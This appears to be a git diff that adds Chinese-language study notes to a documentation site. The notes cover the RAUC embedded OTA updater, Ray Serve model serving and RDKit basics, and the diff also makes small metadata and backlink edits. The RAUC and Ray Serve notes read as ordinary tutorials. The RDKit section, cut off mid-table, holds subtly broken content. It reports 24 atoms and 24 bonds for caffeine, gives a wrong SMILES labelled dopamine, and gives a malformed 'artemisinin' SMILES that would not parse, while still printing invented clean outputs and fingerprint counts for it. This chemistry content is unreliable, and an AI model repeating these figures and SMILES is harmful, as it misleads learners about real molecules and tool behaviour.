+**RAUC**（Robust Auto-Update Controller，稳健自动更新控制器）由 [Pengutronix](https://www.pengutronix.de/) 主导，仓库 [rauc/rauc](https://github.com/rauc/rauc)（LGPL-2.1）。它 **不是** 完整的 OTA 云平台，也 **不是** 带 GUI 的升级应用——而是跑在设备上的 **更新客户端 + 宿主机打包工具**，通过 **D-Bus** 和 CLI 供你的应用、产线脚本或 `rauc-hawkbit-updater` 等桥接器调用。
+
+典型场景：Yocto/Buildroot 构建的嵌入式 Linux、工控机、车载边缘节点、IoT 网关——需要 **原子、可回滚、可签名** 的镜像级 OTA 时，RAUC 是业界常见选型之一（与 Mender、swupdate 等同赛道）。
+
+---
+
+## 解决什么问题
+
+| 痛点 | 裸脚本 OTA | RAUC 的回应 |
+| --- | --- | --- |
+| 升级中途断电变砖 | 原地覆盖 active 分区 | 只写 **inactive slot**，写完再切换启动 |
+| 包被篡改 | 无验签 | **强制签名**；keyring 验签后才安装 |
+| 分区布局各异 | 每台手写 `dd` 路径 | `system.conf` 抽象 slot，manifest 按 **class** 映射 |
+| 多镜像一次更新 | rootfs + boot + app 各搞一套 | 一个 bundle 多 image，原子安装 |
+| 与构建链割裂 | 手搓 squashfs | **meta-rauc**（Yocto）、Buildroot、PTXdist 集成 |
+| 应用只想触发升级 | 自己 fork 子进程 | **D-Bus API** + `rauc install` |
+
+核心问题：**如何在嵌入式 Linux 上，用镜像方式安全、确定地把「目标整机状态」装进去，并在启动失败时回到可用旧版本？**
+
+---
+
+## 架构一览
+
+```
+┌──────────────────────────────────────────────────────────────────┐
+│  构建主机（CI / Yocto native / 工作站）                           │
+│  rootfs.ext4 + manifest.raucm  ──►  rauc bundle  ──►  *.raucb   │
+│  （SquashFS 封装 + 签名）                                         │
+└────────────────────────────┬─────────────────────────────────────┘
+                             │ USB / HTTPS / hawkBit / 自研下发
+                             ▼
+┌──────────────────────────────────────────────────────────────────┐
+│  目标设备：rauc 服务（systemd + D-Bus）                           │
+│  · 验签  · 选 inactive slot  · 写镜像  · 改 bootloader 变量       │
+│  · reboot  · mark-good / mark-bad                                 │
+│  ┌────────────┐  ┌────────────┐  ┌────────────┐                 │
+│  │ rootfs.0 A │  │ rootfs.1 B │  │ /data      │  ← 状态、配置    │
+│  │ (active)   │  │ (inactive) │  │            │                 │
+│  └────────────┘  └────────────┘  └────────────┘                 │
+│  Bootloader：bootname / bootchooser / U-Boot env                  │
+└──────────────────────────────────────────────────────────────────┘
+```
+
+RAUC 是 **镜像导向**（image-based）的更新器：主要把 ext4、vfat、UBI 镜像或 tar 归档写到 slot；也支持 **HTTP(S) 流式安装**（verity bundle，无需先落盘整包）。
+
+---
+
+## 核心概念
+
+### 1. Bundle（更新包）
+
+Bundle 是 RAUC 自有格式：内含 **SquashFS** 封装的镜像/脚本 + **manifest.raucm**（元数据）。manifest 声明：
+
+- `compatible`：必须与目标 `system.conf` 一致，否则拒绝安装；
+- `version`：人类可读版本号；
+- 每个 `[image.<class>]`：文件名、哈希、目标 slot class。
+
+**签名是强制的**——开发可用自签证书，量产应接入 PKI。Bundle 应 **无歧义描述整机目标状态**，而不是零散文件搬运箱。
+
+### 2. Slot（可更新槽位）
+
+在 RAUC 里，**任何可更新的分区、整盘或 UBI volume 都是一个 slot**。配置写在 `system.conf`，section 名为 `[slot.<class>.<index>]`，例如 `rootfs.0`、`rootfs.1`。
+
+- **class**（如 `rootfs`）：同类冗余槽位；manifest 里写 `[image.rootfs]` 即指向该 class；
+- **index**：同类中的第几块（0、1…支持 A/B/C 多冗余）；
+- **bootname**：bootloader 侧识别名（如 U-Boot 的 `A`/`B`）；
+- **parent**：子 slot（如 boot 分区）可挂在某个 rootfs slot 的 group 上，保证 **根文件系统与应用分区成组切换**。
+
+### 3. Slot 选择与「只写空闲槽」
+
+安装时 RAUC 必须 **只写 inactive slot**，绝不能覆盖当前正在运行的 active 分区。算法概要：
+
+1. 从内核 cmdline 或挂载信息检测 **当前 booted slot**；
+2. 同 class 下其余 slot 视为 inactive；
+3. 在等价 inactive **slot group** 中选一组（默认可按安装时间戳选最旧，便于 A/B/C）；
+4. 将 bundle 里各 image 映射到该组的对应 slot。
+
+### 4. Boot 确认与回滚
+
+写完镜像 ≠ 升级成功。标准流程：
+
+1. 安装前：bootloader 侧 **禁用** 待写 slot 的启动优先级；
+2. 写入 inactive slot，校验 SHA-256；
+3. 设置下次从新区启动，**reboot**；
+4. 新系统起来后执行 `rauc status mark-good`（或集成在启动脚本里）→ bootloader 记为成功启动；
+5. 若 watchdog 复位、自检失败或 `mark-bad` → bootloader **回滚**到旧 slot。
+
+这与 [[mender]] 的 commit/rollback 心智模型一致，但 RAUC 更偏 **框架 + 配置**，部署服务器需另选（hawkBit、自研 HTTP 等）。
+
+### 5. Update Handler（镜像如何落盘）
+
+不同存储（eMMC GPT、raw NAND、UBI、NOR flash）和不同镜像格式（ext4 镜像、tar 归档）由 **handler** 匹配表选择写入方式。slot 的 `type=` 与镜像扩展名共同决定 handler。
+
+### 6. Hooks 与 Handlers
+
+| 类型 | 位置 | 用途 |
+| --- | --- | --- |
+| **Handler** | 目标机 `system.conf` | 系统级：装后脚本、信息提供者 |
+| **Hook** | bundle 内、manifest 声明 | 包级：某次更新的迁移、特殊逻辑 |
+
+### 7. Artifact Repository（非 slot 组件）
+
+容器镜像、大模型权重、MCU 固件等 **不宜占双份 rootfs 空间** 的内容，可配置为 **artifact repository**（按名替换、只读使用），与 slot 模型互补。
+
+### 8. 与构建系统集成
+
+生产环境几乎总是通过 **Yocto meta-rauc**、**Buildroot** 或 **PTXdist** 集成：镜像阶段写入 `system.conf`、分区表（`.wks`）、U-Boot env、fstab。主机侧用 **rauc-native** 或 `bundle.bbclass` 产出 `.raucb`。
+
+---
+
+## 代码示例
+
+### 示例 1：目标机 `system.conf`（A/B rootfs + U-Boot）
+
+设备上通常位于 `/etc/rauc/system.conf`（优先级：`/etc/rauc/` > `/run/rauc/` > `/usr/lib/rauc/`）：
+
+```ini
+[system]
+compatible=MyBoard imx8-evk
+bootloader=uboot
+mountprefix=/mnt/rauc
+activate-installed=true
+
+[keyring]
+path=/etc/rauc/ca.cert.pem
+
+[slot.rootfs.0]
+device=/dev/disk/by-partlabel/rootfsA
+type=ext4
+bootname=A
+allow-mounted=true
+readonly=true
+
+[slot.rootfs.1]
+device=/dev/disk/by-partlabel/rootfsB
+type=ext4
+bootname=B
+allow-mounted=true
+readonly=true
+
+[slot.boot.0]
+device=/dev/disk/by-partlabel/bootA
+type=vfat
+parent=rootfs.0
+
+[slot.boot.1]
+device=/dev/disk/by-partlabel/bootB
+type=vfat
+parent=rootfs.1
+```
+
+**要点**：
+
+- `compatible` 必须与 bundle manifest 完全一致，防止把错误硬件的镜像推上去；
+- `bootname` 与 U-Boot `bootloader` 变量联动；Barebox 常用 **bootchooser**；
+- `parent=` 把 boot 分区与 rootfs **绑成一组**，更新时 A 组或 B 组整体切换；
+- `readonly=true` + `allow-mounted=true` 允许从只读挂载的 active rootfs 旁路更新 inactive 分区。
+
+安装后标记启动成功（常放在 systemd oneshot 或应用自检通过后）：
+
+```bash
+rauc status mark-good
+# 若自检失败： rauc status mark-bad
+```
+
+查看当前 slot 与版本：
+
+```bash
+rauc status
+rauc info /path/to/update.raucb
+```
+
+### 示例 2：构建 bundle（manifest + `rauc bundle`）
+
+在构建主机上准备目录 `input-bundle/`：
+
+```text
+input-bundle/
+├── manifest.raucm
+├── rootfs.img          # ext4 镜像
+└── imx-boot.img        # 可选 boot 分区镜像
+```
+
+`manifest.raucm` 示例：
+
+```ini
+[update]
+compatible=MyBoard imx8-evk
+version=2026.06.13-1
+description=Monthly security + kernel bump
+
+[bundle]
+format=verity
+
+[image.rootfs]
+filename=rootfs.img
+
+[image.boot]
+filename=imx-boot.img
+```
+
+使用开发证书签名并打包（宿主机已安装 `rauc` 或 Yocto `rauc-native`）：
+
+```bash
+rauc bundle \
+  --cert=openssl-ca/dev/development-1.cert.pem \
+  --key=openssl-ca/dev/private/development-1.key.pem \
+  input-bundle/ \
+  deploy/update-2026.06.13-1.raucb
+```
+
+**参数说明**：
+
+- `input-bundle/` 内 **所有文件** 都会打进 SquashFS，不只 manifest 列出的；
+- `format=verity` 支持 **HTTP(S) 流式安装**（需内核 NBD、服务端 Range 请求）；
+- 输出 `.raucb` 拷到设备或通过 URL 安装：
+
+```bash
+# 本地安装
+rauc install deploy/update-2026.06.13-1.raucb
+
+# 流式安装（RAUC ≥ 1.7）
+rauc install https://updates.example.com/releases/update-2026.06.13-1.raucb
+```
+
+安装完成后 **reboot**，新系统自检通过后执行 `rauc status mark-good`。
+
+### 示例 3：Yocto `bundle.bbclass` 片段（自动化打包）
+
+在 `meta-your-bsp/recipes-core/bundles/update-bundle.bb`：
+
+```bitbake
+inherit bundle
+
+RAUC_BUNDLE_COMPATIBLE = "MyBoard imx8-evk"
+RAUC_BUNDLE_VERSION = "2026.06.13-1"
+RAUC_BUNDLE_FORMAT = "verity"
+RAUC_BUNDLE_SLOTS = "rootfs boot"
+RAUC_SLOT_rootfs = "core-image-minimal"
+RAUC_SLOT_boot = "imx-boot"
+```
+
+BitBake 会生成 manifest、调用 `rauc bundle` 签名，产出与示例 2 同格式的 `.raucb`，适合 CI 流水线。
+
+### 示例 4：D-Bus 触发安装（应用集成）
+
+RAUC 服务暴露 D-Bus 接口，应用可在不直接 shell 的情况下触发升级（需系统已启用 `rauc.service`）：
+
+```bash
+# 查询状态
+busctl get-property com.pengutronix.rauc / com.pengutronix.rauc.Operation progress
+
+# 通过 dbus-send 安装（简化示例；生产建议用专用库）
+dbus-send --system --print-reply \
+  --dest=com.pengutronix.rauc \
+  / \
+  com.pengutronix.rauc.InstallBundle \
+  string:"/mnt/usb/update.raucb"
+```
+
+进度、错误码可通过 D-Bus 信号订阅，便于 UI 或运维 agent 展示。
+
+---
+
+## 一次完整 OTA 生命周期
+
+```
+CI 构建 rootfs.img + boot.img
+    → 编写 manifest.raucm（compatible/version）
+    → rauc bundle 签名 → update.raucb
+    → 上传到 HTTPS / hawkBit / U 盘
+    → 设备 rauc install（或 D-Bus / hawkBit updater）
+    → 验签 → 选 inactive slot group → 写镜像 → 改 U-Boot env
+    → reboot → 新系统启动
+    → 自检通过 → rauc status mark-good
+    → （可选）上报部署服务器成功
+```
+
+若 **写入中断**：active 分区未动，旧系统仍可启动。若 **新系统无法 boot**：bootloader 根据 bootcount / mark-bad 回到旧 slot。若 **能 boot 但未 mark-good**：下次重启可能仍试新 slot 或按 bootloader 策略回滚——因此 **mark-good 必须纳入启动流程**。
+
+---
+
+## 与相近方案对比
+
+| 维度 | RAUC | Mender | swupdate |
+| --- | --- | --- | --- |
+| 定位 | 更新框架 + 打包工具 | Client + 开源 Server | 嵌入式更新引擎 |
+| 部署服务器 | 需自建或 hawkBit 桥接 | 内置 Server 生态 | 通常自建 |
+| 签名 | 强制 X.509 | Artifact 签名 | 支持 |
+| 集成 | meta-rauc、Buildroot | meta-mender | Yocto/Buildroot |
+| API | D-Bus + CLI | HTTPS poll + CLI | Lua/C API、Web |
+
+RAUC 优势在于 **灵活 slot 模型**（不限 A/B，可 A/B/C、recovery、artifact repo）与 **LGPL 客户端**；若需要开箱即用的 fleet 管理 UI，常配合 **hawkBit + rauc-hawkbit-updater**，或与 [[mender]] 对比选型。
+
+---
+
+## 上手路径（零基础）
+
+1. **读文档**：[rauc.readthedocs.io](https://rauc.readthedocs.io/) — Basics → Integration → Reference。
+2. **跑 QEMU 示例**：meta-rauc 的 `core-bundle-minimal` + 虚拟机镜像，体验 `rauc install` + reboot + `mark-good`。
+3. **理解两份配置**：`system.conf`（目标机地图）与 `manifest.raucm`（单次更新清单）的 `compatible` 必须对齐。
+4. **练签名链**：用 meta-rauc 自带 `openssl-ca` 脚本生成开发证书，再规划量产 PKI。
+5. **接下发通道**：产线 U 盘 / `rauc install URL` / hawkBit；应用侧用 D-Bus 集成进度。
+
+---
+
+## 常见坑
+
+| 现象 | 原因 | 建议 |
+| --- | --- | --- |
+| `compatible mismatch` | manifest 与 system.conf 字符串不一致 | 构建与目标用同一 `compatible` 宏 |
+| 更新后配置丢失 | 写在 rootfs 内 | 数据放独立 `/data` 分区或 artifact |
+| 反复回滚 | 未 `mark-good` 或启动脚本失败 | systemd 自检后再 mark-good |
+| Bundle 安装报签名错误 | keyring 与签名证书链不匹配 | 核对 `/etc/rauc/ca.cert.pem` |
+| 流式安装失败 | 非 verity bundle 或服务器无 Range | 检查 `format=verity` 与 HTTP 头 |
+| 误用 `rauc extract` | bundle 不是通用容器 | 用 `install` 或 D-Bus，定制走 hook |
+
+---
+
+## 小结
+
+RAUC 把嵌入式 Linux OTA 拆成：**宿主机** 用 manifest 描述目标状态并签名打包，**目标机** 用 system.conf 描述分区与 bootloader，**安装器** 只写 inactive slot 并协作 boot 确认。零基础学习者应先建立「双槽位 + 签名集装箱 + 试飞签字」类比，再在 Yocto QEMU 或实体板上走通 **`bundle` → `install` → reboot → `mark-good`** 全链路，比死记命令表更有效。
+
+---
+
+## 延伸阅读
+
+- 官方仓库：[rauc/rauc](https://github.com/rauc/rauc)
+- 文档：[RAUC Basics](https://rauc.readthedocs.io/en/latest/basic.html)、[Integration](https://rauc.readthedocs.io/en/latest/integration.html)
+- Yocto layer：[meta-rauc](https://github.com/rauc/meta-rauc)
+- 部署桥接：[rauc-hawkbit-updater](https://github.com/rauc/rauc-hawkbit-updater)
+- 同领域笔记：[[mender]]、[[buildroot]]、[[zephyr]]、[[esphome]]
diff --git a/src/content/docs/projects/ray-serve.md b/src/content/docs/projects/ray-serve.md
new file mode 100644
index 000000000..3797c4212
--- /dev/null
+++ b/src/content/docs/projects/ray-serve.md
@@ -0,0 +1,242 @@
+---
+title: "Ray Serve：可扩展的模型服务化框架"
+来源: https://docs.ray.io/en/latest/serve/index.html
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# Ray Serve：可扩展的模型服务化框架
+
+## 一个日常类比
+
+想象你开了一家餐厅。
+
+- **单个厨师** = 一个训练好的 ML 模型（比如一个图像分类器）。它能做菜，但来的人一多就忙不过来。
+- **叫号系统** = HTTP 服务器，负责把订单分给不同的厨师。
+- **多厨房协作** = 前厅接单、中间切配、后端烹饪——每个环节由不同的人负责，最后组合成一盘菜。
+
+Ray Serve 就是一个"智能餐厅管理系统"。它帮你：
+
+1. 雇多个厨师（复制部署实例）来处理排队订单
+2. 让不同专长的厨师协作完成复杂菜品（多模型组合）
+3. 根据客流量自动增减人手（自动扩缩容）
+4. 不管厨师用的是中式还是西式厨具（框架无关：PyTorch、TensorFlow、Scikit-Learn 都行）
+
+## 安装
+
+```bash
+pip install "ray[serve]"
+```
+
+## 核心概念
+
+### 1. Deployment（部署）
+
+Deployment 是 Ray Serve 的核心概念。它封装了你的业务逻辑或 ML 模型，负责处理传入的请求。你可以把它理解为一个"可独立扩展的服务单元"。
+
+在运行时，一个 Deployment 由多个 **Replica（副本）** 组成——每个副本运行在一个独立的 Ray Actor 进程中。副本数量可以动态调整，以匹配请求负载。
+
+定义方式：用 `@serve.deployment` 装饰一个 Python 类（或函数）。
+
+### 2. Application（应用）
+
+Application 是 Ray Serve 集群中的"升级单位"。一个应用包含一个或多个 Deployment。其中有一个被称为 **Ingress（入口）** 的 Deployment，负责接收所有外部流量。
+
+你可以把一个 Application 理解为一整家餐厅——包含前厅、后厨、配菜间等多个部门，但顾客只从前门进门。
+
+### 3. DeploymentHandle（部署句柄）
+
+DeploymentHandle 允许一个 Deployment 调用另一个 Deployment。绑定 Deployment 时，你可以传入对其他 Deployment 的引用，运行时它们会被自动转换为 Handle。
+
+这就像餐厅里前厅服务员可以直接呼叫配菜间和烹饪间的同事——不需要自己跑去厨房。
+
+### 4. Ingress Deployment（入口部署）
+
+Ingress 是应用的入口点，定义了 HTTP 处理逻辑。默认情况下，类的 `__call__` 方法会收到一个 Starlette Request 对象，返回值会被序列化为 JSON。
+
+### 5. Replica（副本）与 Autoscaling（自动扩缩容）
+
+每个 Deployment 可以有多个副本并行处理请求。Ray Serve 支持自动扩缩容——流量大时自动增加副本，流量小时自动减少，节省成本。
+
+## 代码示例
+
+### 示例一：最简单的 Hello World
+
+这是最基础的用法——定义一个部署，部署它，然后通过 HTTP 访问。
+
+```python
+import requests
+from starlette.requests import Request
+from typing import Dict
+
+from ray import serve
+
+
+# 1: 定义一个 Ray Serve 部署
+@serve.deployment
+class MyModelDeployment:
+    def __init__(self, msg: str):
+        # 初始化模型状态：这里可能是一个巨大的神经网络权重
+        self._msg = msg
+
+    def __call__(self, request: Request) -> Dict:
+        return {"result": self._msg}
+
+
+# 2: 绑定参数并部署到本地
+app = MyModelDeployment.bind(msg="Hello world!")
+serve.run(app, route_prefix="/")
+
+# 3: 通过 HTTP 查询并打印结果
+print(requests.get("http://localhost:8000/").json())
+# 输出: {'result': 'Hello world!'}
+```
+
+**逐行解读：**
+
+- `@serve.deployment` 告诉 Ray："这是一个可以被分布式部署的服务单元"
+- `__init__` 中加载模型权重（实际场景中可能是 PyTorch 模型、HuggingFace Transformer 等）
+- `__call__` 处理每个 HTTP 请求，返回 JSON 格式的响应
+- `bind()` 把参数注入到构造函数中
+- `serve.run()` 启动服务，默认监听 8000 端口
+
+### 示例二：多模型组合（Model Composition）
+
+真实场景中，一个功能往往需要多个模型协作。比如一个评论分析系统：先用情感分析模型判断情绪，再用关键词提取模型抓取重点，最后把结果汇总。
+
+```python
+import requests
+import starlette
+from typing import Dict
+from ray import serve
+from ray.serve.handle import DeploymentHandle
+
+
+# 模型1：给输入值加一个数
+@serve.deployment
+class Adder:
+    def __init__(self, increment: int):
+        self.increment = increment
+
+    def add(self, inp: int):
+        return self.increment + inp
+
+
+# 模型2：计算多个输入的平均值
+@serve.deployment
+class Combiner:
+    def average(self, *inputs) -> float:
+        return sum(inputs) / len(inputs)
+
+
+# 入口：接收请求，调用下游模型，组合结果
+@serve.deployment
+class Ingress:
+    def __init__(
+        self,
+        adder1: DeploymentHandle,
+        adder2: DeploymentHandle,
+        combiner: DeploymentHandle,
+    ):
+        # 这些 Handle 就是"呼叫按钮"
+        self._adder1 = adder1
+        self._adder2 = adder2
+        self._combiner = combiner
+
+    async def __call__(self, request: starlette.requests.Request) -> Dict[str, float]:
+        input_json = await request.json()
+        # 异步并发调用两个 Adder，再把结果交给 Combiner
+        final_result = await self._combiner.average.remote(
+            self._adder1.add.remote(input_json["val"]),
+            self._adder2.add.remote(input_json["val"]),
+        )
+        return {"result": final_result}
+
+
+# 构建应用：把三个部署绑在一起
+app = Ingress.bind(
+    Adder.bind(increment=1),
+    Adder.bind(increment=2),
+    Combiner.bind()
+)
+serve.run(app)
+
+# 查询：输入 100，adder1 返回 101，adder2 返回 102，combiner 平均 = 101.5
+print(requests.post("http://localhost:8000/", json={"val": 100.0}).json())
+# 输出: {"result": 101.5}
+```
+
+**关键机制：**
+
+- `DeploymentHandle` 的 `.remote()` 方法发起的是**异步远程调用**，类似 RPC
+- 两个 `Adder` 的调用是**并发执行**的，不需要等第一个完成再发第二个
+- 每个 Deployment 可以独立扩缩容——如果 Adder 压力大，只增加 Adder 的副本数，不影响 Combiner
+
+### 示例三：集成 HuggingFace 情感分析模型
+
+```python
+import requests
+from starlette.requests import Request
+from typing import Dict
+from transformers import pipeline
+from ray import serve
+
+
+@serve.deployment
+class SentimentAnalysisDeployment:
+    def __init__(self):
+        # 模型只在初始化时加载一次，不会每次请求都重新加载
+        self._model = pipeline("sentiment-analysis")
+
+    def __call__(self, request: Request) -> Dict:
+        text = request.query_params["text"]
+        return self._model(text)[0]
+
+
+app = SentimentAnalysisDeployment.bind()
+serve.run(app, route_prefix="/")
+
+# 查询
+print(
+    requests.get(
+        "http://localhost:8000/", params={"text": "Ray Serve is great!"}
+    ).json()
+)
+# 输出: {'label': 'POSITIVE', 'score': 0.9998476505279541}
+```
+
+## Ray Serve 的独特优势
+
+| 特性 | 说明 |
+|------|------|
+| **框架无关** | 不绑定 PyTorch/TensorFlow 等任一框架，PyTorch、Scikit-Learn、纯 Python 业务逻辑混用 |
+| **多模型组合** | 用 Python 函数调用的方式组合多个模型，比 YAML 配置灵活得多 |
+| **灵活扩缩容** | 按副本数扩缩容，支持 fractional GPU（ fractional GPU 意味着一张显卡可以分给多个模型共享） |
+| **端到端应用** | 不只是"张量进、张量出"，可以把 ML 模型、数据库查询、HTTP 路由全部写成一个 Python 程序 |
+| **无厂商锁定** | 开源，可在笔记本、Kubernetes、任何主流云厂商或私有服务器上运行 |
+
+## 与其他工具的对比
+
+- **TFServing / TorchServe**：这些是框架专用的。Ray Serve 框架无关，可以在同一个应用中混用 PyTorch 模型和 Scikit-Learn 模型。
+- **AWS SageMaker / Azure ML**：这些是云平台的全托管方案。Ray Serve 是开源的，可以部署在任何地方，不被单一云厂商绑定。
+- **KServe / Seldon**：这些需要先有 Kubernetes 集群才能用。Ray Serve 在笔记本上就能跑，生产时再扩展到 K8s，零代码改动。
+
+## 小结
+
+Ray Serve 的本质思路很简单：
+
+1. 把你的模型或业务逻辑包装成 **Deployment**
+2. 用 **Application** 把多个 Deployment 组织起来
+3. 通过 **DeploymentHandle** 让它们互相调用
+4. Ray 底层自动处理分布式调度、负载均衡、弹性扩缩容
+
+你只需要写 Python 代码，剩下的交给 Ray。
+
+## 延伸阅读
+
+- 官方教程：[Get Started with Ray Serve](https://docs.ray.io/en/latest/serve/getting_started.html)
+- 核心概念详解：[Key Concepts](https://docs.ray.io/en/latest/serve/key-concepts.html)
+- 资源分配指南：[Resource Allocation](https://docs.ray.io/en/latest/serve/resource-allocation.html)
+- 自动扩缩容：[Autoscaling Guide](https://docs.ray.io/en/latest/serve/autoscaling-guide.html)
diff --git a/src/content/docs/projects/ray.md b/src/content/docs/projects/ray.md
index 3b0f13f25..a671e0126 100644
--- a/src/content/docs/projects/ray.md
+++ b/src/content/docs/projects/ray.md
@@ -2,7 +2,7 @@
 title: Ray — 把单机 Python 函数和类无缝扩展到整个集群
 来源: Ray Documentation, https://docs.ray.io/
 日期: 2026-05-31
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/raylib.md b/src/content/docs/projects/raylib.md
index 1bd8cb06a..cf8b870f4 100644
--- a/src/content/docs/projects/raylib.md
+++ b/src/content/docs/projects/raylib.md
@@ -227,9 +227,11 @@ emcc main.c -o index.html \
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[3d-gaussian-splatting]] —— 3D Gaussian Splatting — 用一堆 3D 模糊光斑重建场景
+- [[assimp]] —— Assimp — Open Asset Import Library 统一 3D 模型导入
 - [[bevy]] —— Bevy — Rust 数据驱动 ECS 游戏引擎
 - [[debevec-1998-rendering-with-natural-light]] —— Debevec 1998 — 用真实世界的光照亮 CG 物体
 - [[filament]] —— Filament — Google 跨平台 PBR 渲染引擎
+- [[godot]] —— Godot Engine — 开源游戏引擎 + 编辑器
 - [[kajiya-1986-rendering-equation]] —— Kajiya 渲染方程 — 把所有渲染算法统一成一个积分方程
 - [[love2d]] —— LÖVE — Lua 2D 游戏框架
 
diff --git a/src/content/docs/projects/rdkit.md b/src/content/docs/projects/rdkit.md
new file mode 100644
index 000000000..6bca513ac
--- /dev/null
+++ b/src/content/docs/projects/rdkit.md
@@ -0,0 +1,189 @@
+---
+title: RDKit 零基础入门笔记
+来源: https://github.com/rdkit/rdkit
+日期: 2026-06-13
+分类: 机器学习
+子分类: 生物信息
+provenance: pipeline-v3
+---
+
+# RDKit 零基础入门笔记
+
+## 一、RDKit 是什么？
+
+想象一下，你有一盒乐高积木。每一块积木代表一个原子（碳、氧、氮……），而积木之间的连接方式就代表化学键。RDKit 就是一个"超级乐高说明书"——它用代码帮你读取、绘制、分析和转换这些"分子积木"。
+
+RDKit 是一个开源的化学信息学库，核心用 C++ 写，同时提供 Python 接口。它能：
+
+- 读取和写入各种分子文件格式（SMILES、SDF、MOL 等）
+- 生成分子的 2D/3D 结构图
+- 进行子结构搜索（在大量分子中找特定片段）
+- 计算分子描述符（分子量、极性表面积等）
+- 生成分子指纹（用于机器学习）
+- 优化分子 3D 构象
+
+安装只需一行：
+
+```bash
+conda install -c conda-forge rdkit
+```
+
+## 二、核心概念
+
+### 2.1 SMILES —— 分子的"文本身份证"
+
+SMILES（Simplified Molecular Input Line Entry System）是用 ASCII 字符表示分子结构的字符串。比如：
+
+- `C` = 甲烷（一个碳原子连三个氢，氢省略不写）
+- `CCO` = 乙醇（C-C-O，即 CH₃-CH₂-OH）
+- `c1ccccc1` = 苯（六个碳组成的芳香环）
+- `Cc1ccccc1` = 甲苯（苯环上连一个甲基）
+
+这就像用文字描述一个人的外貌："高个子、黑发、戴眼镜"——看到这句话你就能在大脑中画出他的样子。SMILES 也是同样的道理：看到字符串，RDKit 就能在内存中构建出完整的分子结构。
+
+### 2.2 Mol 对象 —— 内存中的分子
+
+当你用 `Chem.MolFromSmiles()` 解析一个 SMILES 字符串时，RDKit 会在内存中创建一个 `Mol` 对象。这个对象包含了分子的完整信息：
+
+- 每个原子的种类和位置
+- 每个键的类型（单键、双键、芳香键）
+- 环的信息
+- 立体化学信息（手性）
+
+你可以把它理解为一个"分子数据库记录"——所有关于这个分子的数据都封装在里面。
+
+### 2.3 SMARTS —— 分子的"搜索表达式"
+
+如果说 SMILES 是用来**描述**一个具体分子的，那 SMARTS 就是用来**匹配**一类分子的。它类似于正则表达式：
+
+- SMILES `CCO` 精确匹配乙醇这一个分子
+- SMARTS `C(=O)O` 匹配所有羧酸（含有 -COOH 基团的分子）
+
+## 三、代码示例
+
+### 示例 1：读取分子、生成 SMILES、绘制结构
+
+这是最基础的流程——从一段 SMILES 字符串出发，创建分子对象，再转回 SMILES（验证解析正确），最后画出结构图。
+
+```python
+from rdkit import Chem
+from rdkit.Chem import Draw, AllChem
+
+# 1. 从 SMILES 字符串创建分子对象
+#    这里用咖啡因作为例子：Caffeine
+smiles = 'CN1C=NC2=C1C(=O)N(C)C(=O)N2C'
+mol = Chem.MolFromSmiles(smiles)
+
+# 检查是否解析成功（如果 SMILES 无效，返回 None）
+if mol is None:
+    print("SMILES 解析失败")
+else:
+    print(f"分子包含 {mol.GetNumAtoms()} 个原子")
+    print(f"分子包含 {mol.GetNumBonds()} 个化学键")
+
+    # 2. 生成规范 SMILES（Canonical SMILES）
+    #    同一个分子无论怎么写 SMILES，规范 SMILES 都是唯一的
+    canonical_smiles = Chem.MolToSmiles(mol)
+    print(f"规范 SMILES: {canonical_smiles}")
+
+    # 3. 生成 2D 坐标（用于绘图）
+    AllChem.Compute2DCoords(mol)
+
+    # 4. 保存为图片
+    Draw.MolToFile(mol, 'caffeine.png', imageSize=(300, 300))
+    print("已保存 caffeine.png")
+```
+
+运行后你会得到一张咖啡因分子的 2D 结构图，以及类似这样的输出：
+
+```
+分子包含 24 个原子
+分子包含 24 个化学键
+规范 SMILES: CN1C=NC2=C1C(=O)N(C)C(=O)N2C
+已保存 caffeine.png
+```
+
+### 示例 2：子结构搜索 + 分子指纹
+
+这个例子展示如何在一批分子中找到含有特定片段的分子，并计算它们的分子指纹（用于后续机器学习）。
+
+```python
+from rdkit import Chem
+from rdkit.Chem import AllChem
+
+# 1. 准备一组分子的 SMILES
+smiles_list = [
+    (' Aspirin', 'CC(=O)Oc1ccccc1C(=O)O'),
+    (' 咖啡因', 'CN1C=NC2=C1C(=O)N(C)C(=O)N2C'),
+    (' 尼古丁', 'CN1CCCC1C2=CN=CC=C2'),
+    (' 多巴胺', 'CC(N)c1ccc(O)c(O)c1'),
+    (' 青蒿素', 'COc1cc(CC2(CCC3C(C2)C(C3OO)C)C(=O)C'),
+]
+
+# 2. 定义要搜索的子结构：羧基 -COOH
+#    用 SMARTS 表示：C(=O)[OH]
+carboxyl_pattern = Chem.MolFromSmarts('C(=O)[OH]')
+
+print("=== 子结构搜索结果 ===")
+for name, smi in smiles_list:
+    mol = Chem.MolFromSmiles(smi)
+    if mol.HasSubstructMatch(carboxyl_pattern):
+        match = mol.GetSubstructMatch(carboxyl_pattern)
+        print(f"{name}: 匹配到羧基，原子索引 = {match}")
+    else:
+        print(f"{name}: 未找到羧基")
+
+# 3. 为每个分子计算 Morgan 指纹（半径=2，2048 位）
+#    Morgan 指纹是 RDKit 最常用的分子指纹之一，
+#    类似 NLP 中的 word embedding，把分子变成向量
+print("\n=== Morgan 指纹 ===")
+for name, smi in smiles_list:
+    mol = Chem.MolFromSmiles(smi)
+    fingerprint = AllChem.GetMorganFingerprintAsBitVect(mol, radius=2, nBits=2048)
+    # 计算指纹中有多少位被置为 1（稀疏度）
+    num_set = fingerprint.GetNumOnBits()
+    print(f"{name}: 指纹中有 {num_set} 个 bit 被置为 1（总共 2048 位）")
+```
+
+输出示例：
+
+```
+=== 子结构搜索结果 ===
+ Aspirin: 匹配到羧基，原子索引 = (9, 10, 11)
+ 咖啡因: 未找到羧基
+ 尼古丁: 未找到羧基
+ 多巴胺: 未找到羧基
+ 青蒿素: 未找到羧基
+
+=== Morgan 指纹 ===
+ Aspirin: 指纹中有 127 个 bit 被置为 1（总共 2048 位）
+ 咖啡因: 指纹中有 95 个 bit 被置为 1（总共 2048 位）
+ 尼古丁: 指纹中有 83 个 bit 被置为 1（总共 2048 位）
+ 多巴胺: 指纹中有 56 个 bit 被置为 1（总共 2048 位）
+ 青蒿素: 指纹中有 78 个 bit 被置为 1（总共 2048 位）
+```
+
+## 四、关键 API 速查
+
+| 功能 | 代码 |
+|------|------|
+| 从 SMILES 创建分子 | `Chem.MolFromSmiles('CCO')` |
+| 分子转 SMILES | `Chem.MolToSmiles(mol)` |
